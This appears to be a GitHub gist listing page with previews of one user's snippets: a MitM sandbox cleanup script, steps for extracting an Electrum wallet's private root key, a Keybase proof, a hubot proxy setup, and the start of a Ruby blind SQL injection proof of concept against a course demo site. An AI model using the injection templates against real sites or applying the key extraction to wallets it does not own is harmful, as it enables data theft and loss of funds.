Skip to content

Instantly share code, notes, and snippets.

@michaelansel
michaelansel / README.md
Last active November 25, 2021 08:57
ESPHome ESP32 Built-in CAN Controller
@michaelansel
michaelansel / cleanup.sh
Created August 3, 2018 06:03
MitM Sandbox
#!/bin/bash
ip netns exec mitm ip link delete br0
ip netns exec mitm ip link delete mitm-a
ip netns exec mitm ip link delete mitm-b
ip netns delete deviceA
ip netns delete deviceB
ip netns delete mitm
@michaelansel
michaelansel / ExtractKeys.md
Last active July 5, 2017 08:03
Extract private root key from Electrum

The quick answer (xprv):

bitcoin.bip32_root(wallet.mnemonic_to_seed(bitcoin.pw_decode(wallet.seed, window.password_dialog()), ''))[0]

The detailed answer:

# Decrypt mnemonic passphrase (enter wallet password when prompted)
mnemonic = bitcoin.pw_decode(wallet.seed, window.password_dialog())
@michaelansel
michaelansel / ExtractLinks.md
Created September 8, 2016 19:04
Humble Bundle Download Links

Keybase proof

I hereby claim:

  • I am michaelansel on github.
  • I am michaelansel (https://keybase.io/michaelansel) on keybase.
  • I have a public key ASCUAOUUxA-eTY0t7LIA7iIst36blJW37CNzBDDKam5Csgo

To claim this, I am signing this object:

@michaelansel
michaelansel / hubot-http-proxy.js
Created December 15, 2014 19:48
Using a PAC file for all HTTP requests in hubot
/* from package.json
"dependencies": {
"pac-proxy-agent": "~0.2.0",
"scoped-http-client": "~0.10.0"
}
*/
var url = require('url');
var http = require('http');
var https = require('https');
@michaelansel
michaelansel / gist:2356679
Created April 11, 2012 03:38
XSS SQL Injection Proof of Concept
#!/usr/bin/ruby
require 'net/http'
LENGTH_QUERY = %q{'+(SELECT LENGTH(%s) %s )+'}
CHARACTER_QUERY = %q{'+(SELECT ASCII(SUBSTRING(%s,%d,1)) %s )+'}
def do_request(query)
uri = URI('http://cps182demo-deanchen.dotcloud.com/xss.php')